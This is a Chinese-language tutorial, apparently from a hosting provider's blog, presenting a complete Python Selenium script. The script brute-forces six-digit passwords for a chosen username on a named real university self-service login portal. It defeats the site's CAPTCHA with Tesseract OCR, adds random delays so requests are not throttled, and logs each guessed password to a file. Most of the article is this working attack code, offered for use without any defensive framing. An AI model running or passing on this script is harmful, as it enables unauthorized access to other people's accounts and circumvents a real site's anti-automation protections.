温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

怎么在python中使用selenium循环登陆网站

发布时间:2021-04-17 17:12:45 来源:亿速云 阅读:514 作者:Leah 栏目:开发技术

这篇文章给大家介绍怎么在python中使用selenium循环登陆网站,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

怎么在python中使用selenium循环登陆网站

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

怎么在python中使用selenium循环登陆网站

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

怎么在python中使用selenium循环登陆网站

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

关于怎么在python中使用selenium循环登陆网站就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI